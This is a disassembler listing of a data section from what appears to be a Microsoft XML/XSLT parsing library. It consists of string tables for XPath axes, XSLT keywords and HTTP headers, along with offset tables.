aEq:					; DATA XREF: sub_69B60C8B:loc_69B60F03o
					; .text:69B61D08o
		unicode	0, <$eq$>,0
		align 4
aAny:					; DATA XREF: sub_69B60C8B:loc_69B60D33o
					; .text:69B61D00o
		unicode	0, <$any$>,0
aAnd:					; DATA XREF: sub_69B60C8B:loc_69B60CB1o
					; .text:69B61CF8o
		unicode	0, <$and$>,0
aAll:					; DATA XREF: sub_69B60C8B:loc_69B60D3Do
					; .text:69B61CF0o
		unicode	0, <$all$>,0
asc_69B29698:				; DATA XREF: sub_69B60C8B:loc_69B61089o
					; .text:69B61CE8o
		unicode	0, <$>,0
asc_69B2969C:				; DATA XREF: sub_69B60C8B:loc_69B60EE5o
					; .text:69B61CD8o
		unicode	0, <!=>,0
		align 4
; const	WCHAR asc_69B296A4
asc_69B296A4:				; DATA XREF: sub_69B61BB4+56o
					; sub_69B771EE:loc_69B7722Ao ...
		unicode	0, <-->
		dw 3Eh
		unicode	0, <>,0
		align 10h
dbl_69B296B0	dq -1.0			; DATA XREF: sub_69B62D8D+42r
					; sub_69B633C4+26r ...
aTrue_0:				; DATA XREF: .text:69B296D0o
		unicode	0, <true>,0
		align 4
off_69B296C4	dd offset off_69B17D10	; DATA XREF: sub_69B5F498+17Eo
					; sub_69B64D89+9o
		dd 0
		dd 4
		dd offset aTrue_0	; "true"
aFalse_0:				; DATA XREF: .text:69B296ECo
		unicode	0, <false>,0
off_69B296E0	dd offset off_69B17D10	; DATA XREF: sub_69B5F498+45o
					; sub_69B64D89+10o
		align 8
		dd 5
		dd offset aFalse_0	; "false"
dbl_69B296F0	dq -5.0e-1		; DATA XREF: sub_69B63D7C+AAr
					; sub_69B67E70:loc_69B67E96r
dbl_69B296F8	dq 5.0e-1		; DATA XREF: sub_69B63D7C+88r
					; sub_69B66638+6r ...
dbl_69B29700	dq 0.0			; DATA XREF: sub_69B63D7C+7Br
					; sub_69B63D7C+9Dr ...
dbl_69B29708	dq 1.0			; DATA XREF: sub_69B63D7C+3Ar
					; sub_69B6699A+8CAr
off_69B29710	dd offset off_69B29C7C	; DATA XREF: .text:off_69B658BCo
					; sub_69B664FFo
		dd offset sub_69B6679F
off_69B29718	dd offset off_69B29C7C	; DATA XREF: sub_69B67784o
					; .text:off_69B67D58o ...
		dd offset sub_69B67CD3
aFrom:					; DATA XREF: .text:69B29738o
		unicode	0, <from>,0
		align 4
off_69B2972C	dd offset off_69B17D10	; DATA XREF: .data:off_69B9A1D8o
		dd 0
		dd 4
		dd offset aFrom		; "from"
aElement_2:				; DATA XREF: .text:69B29758o
		unicode	0, <element>,0
off_69B2974C	dd offset off_69B17D10	; DATA XREF: .data:69B9A1E4o
		dd 0
		dd 7
		dd offset aElement_2	; "element"
aAttribute_1:				; DATA XREF: .text:69B2977Co
		unicode	0, <attribute>,0
off_69B29770	dd offset off_69B17D10	; DATA XREF: .data:69B9A1F0o
		align 8
		dd 9
		dd offset aAttribute_1	; "attribute"
aChild_0:				; DATA XREF: .text:69B29798o
		unicode	0, <child>,0
off_69B2978C	dd offset off_69B17D10	; DATA XREF: .data:69B9A1FCo
		dd 0
		dd 5
		dd offset aChild_0	; "child"
aDescendant_0:				; DATA XREF: .text:69B297C0o
		unicode	0, <descendant>,0
		align 4
off_69B297B4	dd offset off_69B17D10	; DATA XREF: .data:69B9A208o
		dd 0
		dd 0Ah
		dd offset aDescendant_0	; "descendant"
aDescendantOr_0:			; DATA XREF: .text:69B297F8o
		unicode	0, <descendant-or-self>,0
		align 4
off_69B297EC	dd offset off_69B17D10	; DATA XREF: .data:69B9A214o
		dd 0
		dd 12h
		dd offset aDescendantOr_0 ; "descendant-or-self"
aAncestor_0:				; DATA XREF: .text:69B2981Co
		unicode	0, <ancestor>,0
		align 10h
off_69B29810	dd offset off_69B17D10	; DATA XREF: .data:69B9A220o
		align 8
		dd 8
		dd offset aAncestor_0	; "ancestor"
aAncestorOrSe_0:			; DATA XREF: .text:69B29850o
		unicode	0, <ancestor-or-self>,0
		align 4
off_69B29844	dd offset off_69B17D10	; DATA XREF: .data:69B9A22Co
		dd 0
		dd 10h
		dd offset aAncestorOrSe_0 ; "ancestor-or-self"
aParent_0:				; DATA XREF: .text:69B29870o
		unicode	0, <parent>,0
		align 4
off_69B29864	dd offset off_69B17D10	; DATA XREF: .data:69B9A238o
		dd 0
		dd 6
		dd offset aParent_0	; "parent"
aSelf_0:				; DATA XREF: .text:69B2988Co
		unicode	0, <self>,0
		align 10h
off_69B29880	dd offset off_69B17D10	; DATA XREF: .data:69B9A244o
		align 8
		dd 4
		dd offset aSelf_0	; "self"
aFilter:				; DATA XREF: .text:69B298ACo
		unicode	0, <filter>,0
		align 10h
off_69B298A0	dd offset off_69B17D10	; DATA XREF: .data:69B9A250o
		align 8
		dd 6
		dd offset aFilter	; "filter"
aGroup_0:				; DATA XREF: .text:69B298C8o
		unicode	0, <group>,0
off_69B298BC	dd offset off_69B17D10	; DATA XREF: .data:69B9A25Co
		dd 0
		dd 5
		dd offset aGroup_0	; "group"
aUnion:					; DATA XREF: .text:69B298E4o
		unicode	0, <union>,0
off_69B298D8	dd offset off_69B17D10	; DATA XREF: .data:69B9A268o
		align 10h
		dd 5
		dd offset aUnion	; "union"
aRoot:					; DATA XREF: .text:69B29900o
		unicode	0, <root>,0
		align 4
off_69B298F4	dd offset off_69B17D10	; DATA XREF: .data:69B9A274o
		dd 0
		dd 4
		dd offset aRoot		; "root"
aId_2:					; DATA XREF: .text:69B29918o
		unicode	0, <id>,0
		align 4
off_69B2990C	dd offset off_69B17D10	; DATA XREF: .data:69B9A280o
		dd 0
		dd 2
		dd offset aId_2		; "id"
aAnd_1:					; DATA XREF: .text:69B29930o
		unicode	0, <and>,0
off_69B29924	dd offset off_69B17D10	; DATA XREF: .data:69B9A28Co
		dd 0
		dd 3
		dd offset aAnd_1	; "and"
aOr_1:					; DATA XREF: .text:69B29948o
		unicode	0, <or>,0
		align 4
off_69B2993C	dd offset off_69B17D10	; DATA XREF: .data:69B9A298o
		dd 0
		dd 2
		dd offset aOr_1		; "or"
aNot_1:					; DATA XREF: .text:69B29960o
		unicode	0, <not>,0
off_69B29954	dd offset off_69B17D10	; DATA XREF: .data:69B9A2A4o
		dd 0
		dd 3
		dd offset aNot_1	; "not"
aEq_0:					; DATA XREF: .text:69B29978o
		unicode	0, <eq>,0
		align 4
off_69B2996C	dd offset off_69B17D10	; DATA XREF: .data:69B9A2B0o
		dd 0
		dd 2
		dd offset aEq_0		; "eq"
aNe_1:					; DATA XREF: .text:69B29990o
		unicode	0, <ne>,0
		align 4
off_69B29984	dd offset off_69B17D10	; DATA XREF: .data:69B9A2BCo
		dd 0
		dd 2
		dd offset aNe_1		; "ne"
aLt_4:					; DATA XREF: .text:69B299A8o
		unicode	0, <lt>,0
		align 4
off_69B2999C	dd offset off_69B17D10	; DATA XREF: .data:69B9A2C8o
		dd 0
		dd 2
		dd offset aLt_4		; "lt"
aLe_1:					; DATA XREF: .text:69B299C0o
		unicode	0, <le>,0
		align 4
off_69B299B4	dd offset off_69B17D10	; DATA XREF: .data:69B9A2D4o
		dd 0
		dd 2
		dd offset aLe_1		; "le"
aGt_4:					; DATA XREF: .text:69B299D8o
		unicode	0, <gt>,0
		align 4
off_69B299CC	dd offset off_69B17D10	; DATA XREF: .data:69B9A2E0o
		dd 0
		dd 2
		dd offset aGt_4		; "gt"
aGe_1:					; DATA XREF: .text:69B299F0o
		unicode	0, <ge>,0
		align 4
off_69B299E4	dd offset off_69B17D10	; DATA XREF: .data:69B9A2ECo
		dd 0
		dd 2
		dd offset aGe_1		; "ge"
aString_1:				; DATA XREF: .text:69B29A10o
		unicode	0, <string>,0
		align 4
off_69B29A04	dd offset off_69B17D10	; DATA XREF: .data:69B9A2F8o
		dd 0
		dd 6
		dd offset aString_1	; "string"
aNumber_1:				; DATA XREF: .text:69B29A30o
		unicode	0, <number>,0
		align 4
off_69B29A24	dd offset off_69B17D10	; DATA XREF: .data:69B9A304o
		dd 0
		dd 6
		dd offset aNumber_1	; "number"
aDate_0:				; DATA XREF: .text:69B29A4Co
		unicode	0, <date>,0
		align 10h
off_69B29A40	dd offset off_69B17D10	; DATA XREF: .data:69B9A310o
		align 8
		dd 4
		dd offset aDate_0	; "date"
aBool:					; DATA XREF: .text:69B29A68o
		unicode	0, <bool>,0
		align 4
off_69B29A5C	dd offset off_69B17D10	; DATA XREF: .data:69B9A31Co
		dd 0
		dd 4
		dd offset aBool		; "bool"
aAdd:					; DATA XREF: .text:69B29A80o
		unicode	0, <add>,0
off_69B29A74	dd offset off_69B17D10	; DATA XREF: .data:69B9A328o
		dd 0
		dd 3
		dd offset aAdd		; "add"
aSubtract:				; DATA XREF: .text:69B29AA4o
		unicode	0, <subtract>,0
		align 4
off_69B29A98	dd offset off_69B17D10	; DATA XREF: .data:69B9A334o
		align 10h
		dd 8
		dd offset aSubtract	; "subtract"
aNegate:				; DATA XREF: .text:69B29AC4o
		unicode	0, <negate>,0
		align 4
off_69B29AB8	dd offset off_69B17D10	; DATA XREF: .data:69B9A340o
		align 10h
		dd 6
		dd offset aNegate	; "negate"
aMod_0:					; DATA XREF: .text:69B29ADCo
		unicode	0, <mod>,0
off_69B29AD0	dd offset off_69B17D10	; DATA XREF: .data:69B9A34Co
		align 8
		dd 3
		dd offset aMod_0	; "mod"
aDiv_0:					; DATA XREF: .text:69B29AF4o
		unicode	0, <div>,0
off_69B29AE8	dd offset off_69B17D10	; DATA XREF: .data:69B9A358o
		align 10h
		dd 3
		dd offset aDiv_0	; "div"
aMultiply:				; DATA XREF: .text:69B29B18o
		unicode	0, <multiply>,0
		align 4
off_69B29B0C	dd offset off_69B17D10	; DATA XREF: .data:69B9A364o
		dd 0
		dd 8
		dd offset aMultiply	; "multiply"
aPrefix_0:				; DATA XREF: .text:69B29B38o
		unicode	0, <prefix>,0
		align 4
off_69B29B2C	dd offset off_69B17D10	; DATA XREF: .data:69B9A370o
		dd 0
		dd 6
		dd offset aPrefix_0	; "prefix"
aType_0:				; DATA XREF: .text:69B29B54o
		unicode	0, <type>,0
		align 4
off_69B29B48	dd offset off_69B17D10	; DATA XREF: .data:69B9A394o
		align 10h
		dd 4
		dd offset aType_0	; "type"
aFunction:				; DATA XREF: .text:69B29B78o
		unicode	0, <function>,0
		align 4
off_69B29B6C	dd offset off_69B17D10	; DATA XREF: .data:69B9A3A0o
		dd 0
		dd 8
		dd offset aFunction	; "function"
aFunctionName:				; DATA XREF: .text:69B29BA4o
		unicode	0, <function-name>,0
off_69B29B98	dd offset off_69B17D10	; DATA XREF: .data:69B9A3ACo
		align 10h
		dd 0Dh
		dd offset aFunctionName	; "function-name"
aVar:					; DATA XREF: .text:69B29BBCo
		unicode	0, <var>,0
off_69B29BB0	dd offset off_69B17D10	; DATA XREF: .data:69B9A3B8o
		align 8
		dd 3
		dd offset aVar		; "var"
aXslVendorUrl:				; DATA XREF: .data:off_69B9A3F4o
		unicode	0, <xsl:vendor-url>,0
		align 10h
aXslVendor:				; DATA XREF: .data:off_69B9A3F0o
		unicode	0, <xsl:vendor>,0
		align 4
aMsxslVersion:				; DATA XREF: .data:off_69B9A3ECo
		unicode	0, <msxsl:version>,0
aXslVersion:				; DATA XREF: .data:off_69B9A3E8o
		unicode	0, <xsl:version>,0
aHttpWww_micros:			; DATA XREF: .data:off_69B9A3E4o
		unicode	0, <http://www.microsoft.com>,0
		align 10h
aMicrosoft:				; DATA XREF: .data:off_69B9A3E0o
		unicode	0, <Microsoft>,0
off_69B29C74	dd offset dword_69B18894 ; DATA	XREF: .text:off_69B29C7Co
					; .text:off_69B65418o ...
		dd offset sub_69B6C893
off_69B29C7C	dd offset off_69B29C74	; DATA XREF: .text:off_69B29710o
					; .text:off_69B29718o ...
		dd offset sub_69B6D460
aUrnSchemasMi_2:			; DATA XREF: .text:69B29CD0o
		unicode	0, <urn:schemas-microsoft-com:xslt>,0
		align 4
off_69B29CC4	dd offset off_69B17D10	; DATA XREF: sub_69B673B0+35o
					; sub_69B6DF3C+89o
		dd 0
		dd 1Eh
		dd offset aUrnSchemasMi_2 ; "urn:schemas-microsoft-com:xslt"
aStylesheet_1:				; DATA XREF: .text:69B29CF8o
					; .data:69B9A780o
		unicode	0, <stylesheet>,0
		align 4
off_69B29CEC	dd offset off_69B17D10	; DATA XREF: .data:off_69B9A450o
		dd 0
		dd 0Ah
		dd offset aStylesheet_1	; "stylesheet"
aTemplate:				; DATA XREF: .text:69B29D1Co
					; .data:69B9A788o
		unicode	0, <template>,0
		align 10h
off_69B29D10	dd offset off_69B17D10	; DATA XREF: .data:69B9A45Co
		align 8
		dd 8
		dd offset aTemplate	; "template"
aWhen:					; DATA XREF: .text:69B29D38o
					; .data:69B9A7B0o
		unicode	0, <when>,0
		align 4
off_69B29D2C	dd offset off_69B17D10	; DATA XREF: .data:69B9A468o
		dd 0
		dd 4
		dd offset aWhen		; "when"
aOtherwise:				; DATA XREF: .text:69B29D5Co
					; .data:69B9A758o
		unicode	0, <otherwise>,0
off_69B29D50	dd offset off_69B17D10	; DATA XREF: .data:69B9A474o
		align 8
		dd 9
		dd offset aOtherwise	; "otherwise"
aForEach:				; DATA XREF: .text:69B29D80o
					; .data:69B9A740o
		unicode	0, <for-each>,0
		align 4
off_69B29D74	dd offset off_69B17D10	; DATA XREF: .data:69B9A480o
		dd 0
		dd 8
		dd offset aForEach	; "for-each"
aApplyTemplates:			; DATA XREF: .text:69B29DB0o
					; .data:off_69B9A708o
		unicode	0, <apply-templates>,0
off_69B29DA4	dd offset off_69B17D10	; DATA XREF: .data:69B9A48Co
		dd 0
		dd 0Fh
		dd offset aApplyTemplates ; "apply-templates"
aChoose:				; DATA XREF: .text:69B29DD0o
					; .data:69B9A718o
		unicode	0, <choose>,0
		align 4
off_69B29DC4	dd offset off_69B17D10	; DATA XREF: .data:69B9A498o
		dd 0
		dd 6
		dd offset aChoose	; "choose"
aIf:					; DATA XREF: .text:69B29DE8o
					; .data:69B9A748o
		unicode	0, <if>,0
		align 4
off_69B29DDC	dd offset off_69B17D10	; DATA XREF: .data:69B9A4A4o
		dd 0
		dd 2
		dd offset aIf		; "if"
aValueOf:				; DATA XREF: .text:69B29E0Co
					; .data:69B9A7A0o
		unicode	0, <value-of>,0
		align 10h
off_69B29E00	dd offset off_69B17D10	; DATA XREF: .data:69B9A4B0o
		align 8
		dd 8
		dd offset aValueOf	; "value-of"
aCopy_1:				; DATA XREF: .text:69B29E28o
					; .data:69B9A728o
		unicode	0, <copy>,0
		align 4
off_69B29E1C	dd offset off_69B17D10	; DATA XREF: .data:69B9A4BCo
		dd 0
		dd 4
		dd offset aCopy_1	; "copy"
aElement_3:				; DATA XREF: .text:69B29E48o
					; .data:69B9A738o
		unicode	0, <element>,0
off_69B29E3C	dd offset off_69B17D10	; DATA XREF: .data:69B9A4C8o
		dd 0
		dd 7
		dd offset aElement_3	; "element"
aAttribute_2:				; DATA XREF: .text:69B29E6Co
					; .data:69B9A710o
		unicode	0, <attribute>,0
off_69B29E60	dd offset off_69B17D10	; DATA XREF: .data:69B9A4D4o
		align 8
		dd 9
		dd offset aAttribute_2	; "attribute"
aComment_1:				; DATA XREF: .text:69B29E8Co
					; .data:69B9A720o
		unicode	0, <comment>,0
off_69B29E80	dd offset off_69B17D10	; DATA XREF: .data:69B9A4E0o
		align 8
		dd 7
		dd offset aComment_1	; "comment"
aTransform_0:				; DATA XREF: .text:69B29EB0o
					; .data:69B9A798o
		unicode	0, <transform>,0
off_69B29EA4	dd offset off_69B17D10	; DATA XREF: .data:69B9A4ECo
		dd 0
		dd 9
		dd offset aTransform_0	; "transform"
aProcessingIn_0:			; DATA XREF: .text:69B29EF0o
					; .data:69B9A770o
		unicode	0, <processing-instruction>,0
		align 4
off_69B29EE4	dd offset off_69B17D10	; DATA XREF: .data:69B9A4F8o
		dd 0
		dd 16h
		dd offset aProcessingIn_0 ; "processing-instruction"
aText_2:				; DATA XREF: .text:69B29F0Co
					; .data:69B9A790o
		unicode	0, <text>,0
		align 10h
off_69B29F00	dd offset off_69B17D10	; DATA XREF: .data:69B9A504o
					; .data:69B9A6F0o
		align 8
		dd 4
		dd offset aText_2	; "text"
aSort:					; DATA XREF: .text:69B29F28o
					; .data:69B9A778o
		unicode	0, <sort>,0
		align 4
off_69B29F1C	dd offset off_69B17D10	; DATA XREF: .data:69B9A510o
		dd 0
		dd 4
		dd offset aSort		; "sort"
aInclude_0:				; DATA XREF: .text:69B29F48o
					; .data:69B9A750o
		unicode	0, <include>,0
off_69B29F3C	dd offset off_69B17D10	; DATA XREF: .data:69B9A51Co
		dd 0
		dd 7
		dd offset aInclude_0	; "include"
aVariable:				; DATA XREF: .text:69B29F6Co
					; .data:69B9A7A8o
		unicode	0, <variable>,0
		align 10h
off_69B29F60	dd offset off_69B17D10	; DATA XREF: .data:69B9A528o
		align 8
		dd 8
		dd offset aVariable	; "variable"
aParam:					; DATA XREF: .text:69B29F88o
					; .data:69B9A768o
		unicode	0, <param>,0
off_69B29F7C	dd offset off_69B17D10	; DATA XREF: .data:69B9A534o
		dd 0
		dd 5
		dd offset aParam	; "param"
aWithParam:				; DATA XREF: .text:69B29FB0o
					; .data:69B9A7B8o
		unicode	0, <with-param>,0
		align 4
off_69B29FA4	dd offset off_69B17D10	; DATA XREF: .data:69B9A540o
		dd 0
		dd 0Ah
		dd offset aWithParam	; "with-param"
aOutput_0:				; DATA XREF: .text:69B29FD0o
					; .data:69B9A760o
		unicode	0, <output>,0
		align 4
off_69B29FC4	dd offset off_69B17D10	; DATA XREF: .data:69B9A54Co
		dd 0
		dd 6
		dd offset aOutput_0	; "output"
aCopyOf:				; DATA XREF: .text:69B29FF0o
					; .data:69B9A730o
		unicode	0, <copy-of>,0
off_69B29FE4	dd offset off_69B17D10	; DATA XREF: .data:69B9A558o
		dd 0
		dd 7
		dd offset aCopyOf	; "copy-of"
aDefineTemplate:			; DATA XREF: .text:69B2A028o
		unicode	0, <define-template-set>,0
off_69B2A01C	dd offset off_69B17D10	; DATA XREF: .data:69B9A564o
		dd 0
		dd 13h
		dd offset aDefineTemplate ; "define-template-set"
aCdata_5:				; DATA XREF: .text:69B2A044o
		unicode	0, <cdata>,0
off_69B2A038	dd offset off_69B17D10	; DATA XREF: .data:69B9A570o
		align 10h
		dd 5
		dd offset aCdata_5	; "cdata"
aEntityRef:				; DATA XREF: .text:69B2A06Co
		unicode	0, <entity-ref>,0
		align 10h
off_69B2A060	dd offset off_69B17D10	; DATA XREF: .data:69B9A57Co
		align 8
		dd 0Ah
		dd offset aEntityRef	; "entity-ref"
aPi_1:					; DATA XREF: .text:69B2A084o
		unicode	0, <pi>,0
		align 4
off_69B2A078	dd offset off_69B17D10	; DATA XREF: .data:69B9A588o
		align 10h
		dd 2
		dd offset aPi_1		; "pi"
aDoctype_3:				; DATA XREF: .text:69B2A0A4o
		unicode	0, <doctype>,0
off_69B2A098	dd offset off_69B17D10	; DATA XREF: .data:69B9A594o
		align 10h
		dd 7
		dd offset aDoctype_3	; "doctype"
aScript:				; DATA XREF: .text:69B2A0C4o
		unicode	0, <script>,0
		align 4
off_69B2A0B8	dd offset off_69B17D10	; DATA XREF: .data:69B9A5A0o
		align 10h
		dd 6
		dd offset aScript	; "script"
aEval:					; DATA XREF: .text:69B2A0E0o
		unicode	0, <eval>,0
		align 4
off_69B2A0D4	dd offset off_69B17D10	; DATA XREF: .data:69B9A5ACo
		dd 0
		dd 4
		dd offset aEval		; "eval"
aNodeName:				; DATA XREF: .text:69B2A104o
		unicode	0, <node-name>,0
off_69B2A0F8	dd offset off_69B17D10	; DATA XREF: .data:69B9A5B8o
		align 10h
		dd 9
		dd offset aNodeName	; "node-name"
aSelect:				; DATA XREF: .text:69B2A124o
		unicode	0, <select>,0
		align 4
off_69B2A118	dd offset off_69B17D10	; DATA XREF: .data:69B9A5D0o
		align 10h
		dd 6
		dd offset aSelect	; "select"
aMatch:					; DATA XREF: .text:69B2A140o
		unicode	0, <match>,0
off_69B2A134	dd offset off_69B17D10	; DATA XREF: .data:69B9A5DCo
		dd 0
		dd 5
		dd offset aMatch	; "match"
aTest:					; DATA XREF: .text:69B2A15Co
		unicode	0, <test>,0
		align 10h
off_69B2A150	dd offset off_69B17D10	; DATA XREF: .data:69B9A5E8o
		align 8
		dd 4
		dd offset aTest		; "test"
aOrderBy:				; DATA XREF: .text:69B2A180o
		unicode	0, <order-by>,0
		align 4
off_69B2A174	dd offset off_69B17D10	; DATA XREF: .data:69B9A5F4o
		dd 0
		dd 8
		dd offset aOrderBy	; "order-by"
aName_3:				; DATA XREF: .text:69B2A19Co
		unicode	0, <name>,0
		align 10h
off_69B2A190	dd offset off_69B17D10	; DATA XREF: .data:69B9A600o
		align 8
		dd 4
		dd offset aName_3	; "name"
aNamespace_2:				; DATA XREF: .text:69B2A1C0o
		unicode	0, <namespace>,0
off_69B2A1B4	dd offset off_69B17D10	; DATA XREF: .data:69B9A60Co
		dd 0
		dd 9
		dd offset aNamespace_2	; "namespace"
aLanguage:				; DATA XREF: .text:69B2A1E4o
		unicode	0, <language>,0
		align 4
off_69B2A1D8	dd offset off_69B17D10	; DATA XREF: .data:69B9A618o
		align 10h
		dd 8
		dd offset aLanguage	; "language"
aExpr_0:				; DATA XREF: .text:69B2A200o
		unicode	0, <expr>,0
		align 4
off_69B2A1F4	dd offset off_69B17D10	; DATA XREF: .data:69B9A624o
		dd 0
		dd 4
		dd offset aExpr_0	; "expr"
aFormat:				; DATA XREF: .text:69B2A220o
		unicode	0, <format>,0
		align 4
off_69B2A214	dd offset off_69B17D10	; DATA XREF: .data:69B9A630o
		dd 0
		dd 6
		dd offset aFormat	; "format"
aDefault_2:				; DATA XREF: .text:69B2A240o
		unicode	0, <default>,0
off_69B2A234	dd offset off_69B17D10	; DATA XREF: .data:69B9A63Co
		dd 0
		dd 7
		dd offset aDefault_2	; "default"
aNoEntities:				; DATA XREF: .text:69B2A268o
		unicode	0, <no-entities>,0
off_69B2A25C	dd offset off_69B17D10	; DATA XREF: .data:69B9A648o
		dd 0
		dd 0Bh
		dd offset aNoEntities	; "no-entities"
aResultEncoding:			; DATA XREF: .text:69B2A298o
		unicode	0, <result-encoding>,0
off_69B2A28C	dd offset off_69B17D10	; DATA XREF: .data:69B9A654o
		dd 0
		dd 0Fh
		dd offset aResultEncoding ; "result-encoding"
aDisableOutputE:			; DATA XREF: .text:69B2A2D8o
		unicode	0, <disable-output-escaping>,0
off_69B2A2CC	dd offset off_69B17D10	; DATA XREF: .data:69B9A660o
		dd 0
		dd 17h
		dd offset aDisableOutputE ; "disable-output-escaping"
aOrder_0:				; DATA XREF: .text:69B2A2F4o
		unicode	0, <order>,0
off_69B2A2E8	dd offset off_69B17D10	; DATA XREF: .data:69B9A66Co
		align 10h
		dd 5
		dd offset aOrder_0	; "order"
aDataType:				; DATA XREF: .text:69B2A318o
		unicode	0, <data-type>,0
off_69B2A30C	dd offset off_69B17D10	; DATA XREF: .data:69B9A678o
		dd 0
		dd 9
		dd offset aDataType	; "data-type"
aHref_1:				; DATA XREF: .text:69B2A334o
		unicode	0, <href>,0
		align 4
off_69B2A328	dd offset off_69B17D10	; DATA XREF: .data:69B9A684o
		align 10h
		dd 4
		dd offset aHref_1	; "href"
aPriority:				; DATA XREF: .text:69B2A358o
		unicode	0, <priority>,0
		align 4
off_69B2A34C	dd offset off_69B17D10	; DATA XREF: .data:69B9A690o
		dd 0
		dd 8
		dd offset aPriority	; "priority"
aMode:					; DATA XREF: .text:69B2A374o
		unicode	0, <mode>,0
		align 4
off_69B2A368	dd offset off_69B17D10	; DATA XREF: .data:69B9A69Co
		align 10h
		dd 4
		dd offset aMode		; "mode"
aImplementsPref:			; DATA XREF: .text:69B2A3A8o
		unicode	0, <implements-prefix>,0
off_69B2A39C	dd offset off_69B17D10	; DATA XREF: .data:69B9A6A8o
		dd 0
		dd 11h
		dd offset aImplementsPref ; "implements-prefix"
aMethod:				; DATA XREF: .text:69B2A3C8o
		unicode	0, <method>,0
		align 4
off_69B2A3BC	dd offset off_69B17D10	; DATA XREF: .data:69B9A6B4o
		dd 0
		dd 6
		dd offset aMethod	; "method"
aIndent:				; DATA XREF: .text:69B2A3E8o
		unicode	0, <indent>,0
		align 4
off_69B2A3DC	dd offset off_69B17D10	; DATA XREF: .data:69B9A6C0o
		dd 0
		dd 6
		dd offset aIndent	; "indent"
aOmitXmlDeclara:			; DATA XREF: .text:69B2A424o
		unicode	0, <omit-xml-declaration>,0
		align 4
off_69B2A418	dd offset off_69B17D10	; DATA XREF: .data:69B9A6CCo
		align 10h
		dd 14h
		dd offset aOmitXmlDeclara ; "omit-xml-declaration"
aXml_2:					; DATA XREF: .text:69B2A43Co
		unicode	0, <xml>,0
off_69B2A430	dd offset off_69B17D10	; DATA XREF: .data:69B9A6D8o
		align 8
		dd 3
		dd offset aXml_2	; "xml"
aHtml_0:				; DATA XREF: .text:69B2A458o
		unicode	0, <html>,0
		align 4
off_69B2A44C	dd offset off_69B17D10	; DATA XREF: .data:69B9A6E4o
		dd 0
		dd 4
		dd offset aHtml_0	; "html"
aJscript:				; DATA XREF: .text:69B2A478o
		unicode	0, <jscript>,0
off_69B2A46C	dd offset off_69B17D10	; DATA XREF: sub_69B6EDDE+D0o
					; sub_69B70DF4+3Ao
		dd 0
		dd 7
		dd offset aJscript	; "jscript"
aUtf16:					; DATA XREF: .text:69B2A498o
		unicode	0, <UTF-16>,0
		align 4
off_69B2A48C	dd offset off_69B17D10	; DATA XREF: sub_69B760B0+47o
					; sub_69B7624E+1Fo ...
		dd 0
		dd 6
		dd offset aUtf16	; "UTF-16"
aDescending:				; DATA XREF: .data:off_69B9A438o
		unicode	0, <descending>,0
		align 4
aAscending:				; DATA XREF: .data:off_69B9A434o
		unicode	0, <ascending>,0
off_69B2A4C8	dd offset sub_69B706CA	; DATA XREF: sub_69B6F741-571A7o
					; sub_69B6EC84+3o
		dd offset sub_69B6223C
off_69B2A4D0	dd offset loc_69B71469	; DATA XREF: sub_69B71436+Co
					; sub_69B714DB+1Eo
		dd offset loc_69B71485
		dd offset loc_69B714A2
		dd offset sub_69B714C3
		dd offset sub_69B714CB
		dd offset loc_69B714D3
off_69B2A4E8	dd offset sub_69B72281	; DATA XREF: sub_69B72048+Fo
					; sub_69B72259+19o
off_69B2A4EC	dd offset off_69B2A4F4	; DATA XREF: sub_69B72310o
					; .text:off_69B74E90o
		dd offset sub_69B724C7
off_69B2A4F4	dd offset off_69B25E94	; DATA XREF: .text:off_69B2A4ECo
					; .text:off_69B70048o ...
		dd offset sub_69B73049
; const	WCHAR psz1
psz1:					; DATA XREF: sub_69B73929+49o
					; sub_69B74222+1Eo
		unicode	0, <Context>,0
off_69B2A50C	dd offset sub_69B74E6A	; DATA XREF: sub_69B74DF9+Eo
					; sub_69B74E46+15o
off_69B2A510	dd offset sub_69B74E1B	; DATA XREF: sub_69B74DF9+7o
					; sub_69B74E46+Eo
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
; const	WCHAR asc_69B2A520
asc_69B2A520:				; DATA XREF: sub_69B770D8:loc_69B77107o
					; sub_69B83E6C+1B4o
		dw 3Ch
		unicode	0, <!-->,0
		align 4
; const	WCHAR asc_69B2A52C
asc_69B2A52C:				; DATA XREF: sub_69B771EE:loc_69B77240o
					; sub_69B83717+92o
		dw 3Ch
		unicode	0, </>,0
		align 4
dword_69B2A534	dd 165D4E40h, 11D23621h, 1B80h,	0DF6C7AF8h					; sub_69B7759C+56o
off_69B2A544	dd offset sub_69B77979	; DATA XREF: sub_69B77918+19o
					; sub_69B77998+17o
; char MultiByteStr[]
MultiByteStr	dd 78655424h, 90900074h	; DATA XREF: sub_69B16A74+34o
					; sub_69B78A78+27Fo
off_69B2A550	dd offset sub_69B77BFC	; DATA XREF: sub_69B7885C+11o
					; sub_69B78994+1Fo
		dd offset sub_69B77D54
dword_69B2A558	dd 7C0FFAB3h, 11D0CD84h, 0A0009A94h, 0ED1011C9h
					; DATA XREF: sub_69B5D45C+FDo
					; sub_69B77D7D+7o ...
; const	WCHAR aContentLength
aContentLength:				; DATA XREF: sub_69B7C259+59o
					; sub_69B7C89C+60o
		unicode	0, <Content-Length>,0
		align 4
; const	WCHAR aContentType
aContentType:				; DATA XREF: sub_69B7C89C+ADo
					; sub_69B7D890+25o
		unicode	0, <Content-Type>,0
		align 4
aGet:					; DATA XREF: sub_69B7BC9E+3Eo
					; sub_69B7DCED:loc_69B7DD27o
		unicode	0, <GET>,0
; const	WCHAR asc_69B2A5AC
asc_69B2A5AC:				; DATA XREF: sub_69B7C259+CBo
					; sub_69B8A280+2Co
		unicode	0, <, >,0
		align 4
off_69B2A5B4	dd offset sub_69B7D64A	; DATA XREF: sub_69B7D5F6+19o
					; sub_69B7D669+17o
off_69B2A5B8	dd offset sub_69B7796F	; DATA XREF: sub_69B77918+12o
					; sub_69B77998+10o ...
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
off_69B2A5C8	dd offset loc_69B7DCAD	; DATA XREF: sub_69B7DBC3+34o
					; sub_69B7DE94+3Ao
		dd offset loc_69B7DC5E
		dd offset loc_69B7DCE6
		dd offset sub_69B7CC9C
off_69B2A5D8	dd offset loc_69B7DCA3	; DATA XREF: sub_69B7DBC3+2Do
					; sub_69B7DE94+33o
		dd offset loc_69B7DC54
		dd offset loc_69B7DCDF
		dd offset sub_69B7CB54
		dd offset sub_69B81AED
off_69B2A5EC	dd offset loc_69B7DC99	; DATA XREF: sub_69B7DBC3+26o
					; sub_69B7DE94+2Co
		dd offset loc_69B7DC4A
		dd offset loc_69B7DCD8
		dd offset sub_69B7BE98
